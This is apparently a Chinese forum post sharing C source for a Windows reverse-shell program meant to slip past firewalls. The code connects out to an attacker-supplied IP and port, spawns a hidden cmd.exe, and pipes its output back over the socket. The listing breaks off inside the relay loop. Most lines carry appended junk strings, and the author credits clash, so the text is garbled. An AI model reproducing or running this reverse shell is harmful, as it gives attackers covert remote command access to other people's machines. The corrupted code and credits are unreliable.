这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q)lN7oD
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/* ============================== sFrerv&0
Rebound port in Windows NT 1Uy'TEk
By wind,2006/7 IGKtugU%
===============================*/ V]{^}AKc
#include Zb? u'Vm=u
#include tjId?}\
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#pragma comment(lib,"wsock32.lib") 8c%Sd'+Pt
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void OutputShell(); B)v|A
SOCKET sClient; `<oNEr+#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LA9'HC(5
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void main(int argc,char **argv) O_S%PX
{ |qAU\m"Pc
WSADATA stWsaData; QT<\E`v
int nRet; f6$$e+
SOCKADDR_IN stSaiClient,stSaiServer; \OlB(%E7
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if(argc != 3) X?B\+dq
{ pPD}>q
printf("Useage:\n\rRebound DestIP DestPort\n"); cxig <W
return; UgP
} g^mnYg5
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WSAStartup(MAKEWORD(2,2),&stWsaData); j8cXv
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x)0''}E~
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stSaiClient.sin_family = AF_INET; X{BS]
stSaiClient.sin_port = htons(0); s9\N{ar#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Hgk@I;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;x|LB>.
{ &e%eIz
printf("Bind Socket Failed!\n"); a<W.}0ZY
return; #*~3gMI{=
} =3H*%
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stSaiServer.sin_family = AF_INET; \;FE@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hf1h*x^J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N2Qb+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ o+%($p
printf("Connect Error!"); tVr^1Y
return; \jCN ]A<
} JE=3V^k
OutputShell(); UV#DN`%n
} ][V@t^
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void OutputShell() zEMZz$Y
{ \T:*tgU
char szBuff[1024]; <KEVA?0>
SECURITY_ATTRIBUTES stSecurityAttributes; 1Pp2wpD4iC
OSVERSIONINFO stOsversionInfo; "
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Gl]z@ZXWIw
STARTUPINFO stStartupInfo; Bgf'Hm%r
char *szShell; g><itA?
PROCESS_INFORMATION stProcessInformation; xhw0YDGzf
unsigned long lBytesRead; 3cSP1=$*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HU47S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =}OcMM`f
stSecurityAttributes.lpSecurityDescriptor = 0; |Ca
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stSecurityAttributes.bInheritHandle = TRUE; +]$c+!khj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o56UlN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,\'E<O2T
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D0*+7n3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,: Z7P@
stStartupInfo.wShowWindow = SW_HIDE; =DsFR9IB
stStartupInfo.hStdInput = hReadPipe; ?atHZLF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \L:+k `
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GetVersionEx(&stOsversionInfo); 2"pFAQBw~i
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switch(stOsversionInfo.dwPlatformId) J}Ji /
{ g..&x]aS(
case 1: G"|c_qX
szShell = "command.com"; -40s
break; ::k
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default: y*vg9`$k
szShell = "cmd.exe"; Y5R|)x
break; rvRIKc|}l
} {Z_?7J&z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); * amZ
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send(sClient,szMsg,77,0); Z11I1)%s
while(1) :)j& t>aP
{ +BgUnu26
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5{\ ;7(
if(lBytesRead) xW+XN`77
{ }S=m :
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @ev8"JZ1
send(sClient,szBuff,lBytesRead,0); AVi,+n
} Zd~Q@+sH
else E, ;'n
{ 5.U4P<